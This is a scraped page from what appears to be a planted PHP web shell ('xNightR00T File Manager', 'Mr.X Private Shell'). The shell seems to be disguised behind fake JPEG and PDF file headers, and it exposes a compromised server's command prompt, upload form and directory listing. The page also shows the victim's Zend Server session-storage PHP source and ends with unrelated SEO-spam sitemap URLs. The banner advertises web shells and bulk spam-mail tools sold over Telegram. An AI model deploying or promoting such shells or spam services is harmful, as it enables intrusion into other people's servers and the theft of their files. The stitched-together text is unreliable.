xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application;

use \Zend\Session\SessionManager,
    \ZendServer\Exception;
use ZendServer\Log\Log;

class SessionStorage
{
    /**
     * @var string
     */
    const NS = 'ZEND_SERVER_SETTINGS';

    /**
     * @var SessionManager
     */
    private $manager = null;

    public function __construct()
    {
        $this->manager = new SessionManager();
        $this->manager->start();
    }

    public function writeClose()
    {
        $this->manager->writeClose();
    }

    /**
     * @param string $tz
     */
    public function setTimezone($tz)
    {
        $this->setValue('timezone', $tz);
    }

    /**
     * @return string
     */
    public function getTimezone()
    {
        return $this->getValue('timezone');
    }

    public function setRemoteAddr()
    {
        $this->setValue('remoteAddr', $this->getClientIp());
    }

    /**
     * @return string
     */
    public function getRemoteAddr()
    {
        return $this->getValue('remoteAddr');
    }

    /**
     * @return bool
     */
    public function hasRemoteAddr()
    {
        return $this->hasValue('remoteAddr');
    }

    /**
     * @return bool
     */
    public function hasTimezone()
    {
        return $this->hasValue('timezone');
    }

    public function isExists()
    {
        return ($this->manager->getStorage()->offsetExists(self::NS) && !is_null($this->getStorage()));
    }

    public function clear()
    {
        $this->manager->getStorage()->clear(self::NS);
    }

    /**
     * @param string $key
     * @param string $value
     */
    private function setValue($key, $value)
    {
        $data       = $this->getStorage();
        $data[$key] = $value;
        $this->setData($data);
    }

    /**
     * @param string $key
     * @param mixed $default
     * @return string
     * @throws Exception
     */
    private function getValue($key,$default = null)
    {
        $data = $this->getStorage();

        if (!isset($data[$key]) && !isset($default)) {
            Log::debug('Session storage : ');
            Log::debug(print_r($data,true));
            throw new Exception('Could not retrieve value from key '.$key);
// 					Zwas_Translate::_('Could not retrieve value from key %s'),
// 					array((string)$key)
// 			));
        }elseif(isset($default)){
            return $default;
        }

        return $data[$key];
    }

    /**
     * @param string $key
     * @return string
     * @throws Zwas_Exception
     */
    private function hasValue($key)
    {
        $data = $this->getStorage();

        return isset($data[$key]);
    }

    /**
     * @param array $data
     */
    private function setData($data)
    {
        $namespace                               = self::NS;
        $this->manager->getStorage()->$namespace = $data;
    }

    /**
     * @return array
     */
    public function getStorage()
    {
        $namespace = self::NS;
        $data      = isset($this->manager->getStorage()->$namespace) ? $this->manager->getStorage()->$namespace : null;

        if (!is_array($data)) {
            return array();
        }

        return $data;
    }

    // Function to get the client IP address
    public static function getClientIp()
    {

        $ipaddress = '';
        if (isset($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
        else if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'])
                $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
        else if (isset($_SERVER['HTTP_X_FORWARDED']) && $_SERVER['HTTP_X_FORWARDED'])
                $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
        else if (isset($_SERVER['HTTP_FORWARDED_FOR']) && $_SERVER['HTTP_FORWARDED_FOR'])
                $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
        else if (isset($_SERVER['HTTP_FORWARDED']) && $_SERVER['HTTP_FORWARDED'])
                $ipaddress = $_SERVER['HTTP_FORWARDED'];
        else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR'];
        else $ipaddress = 'UNKNOWN';

        if ($ipaddress === '::1') {
            $ipaddress = '127.0.0.1';
        }

        return $ipaddress;
    }

    /**
     * Reset the session
     */
    public static function resetSession()
    {
        $params = session_get_cookie_params();
             setcookie(\ZendServer\Utils\Cookie::getPrefixKey(\Application\Module::SESSION_NAME)
                 , '', time() - 3600, $params['path'], $params['domain'],
                    $params['secure'], $params['httponly']);
    }
}

Filemanager

Name Type Size Permission Actions
Controller Folder 0755
Db Folder 0755
Exception Folder 0755
Forms Folder 0755
Model Folder 0755
Validation Folder 0755
Validators Folder 0755
View Folder 0755
ConfigAwareInterface.php File 255 B 0644
Element.php File 16.6 KB 0644
HomeSwitchRoute.php File 705 B 0644
Session.php File 3.29 KB 0644
SessionStorage.php File 4.51 KB 0644
ZendDataCacheSessionHandler.php File 2.94 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml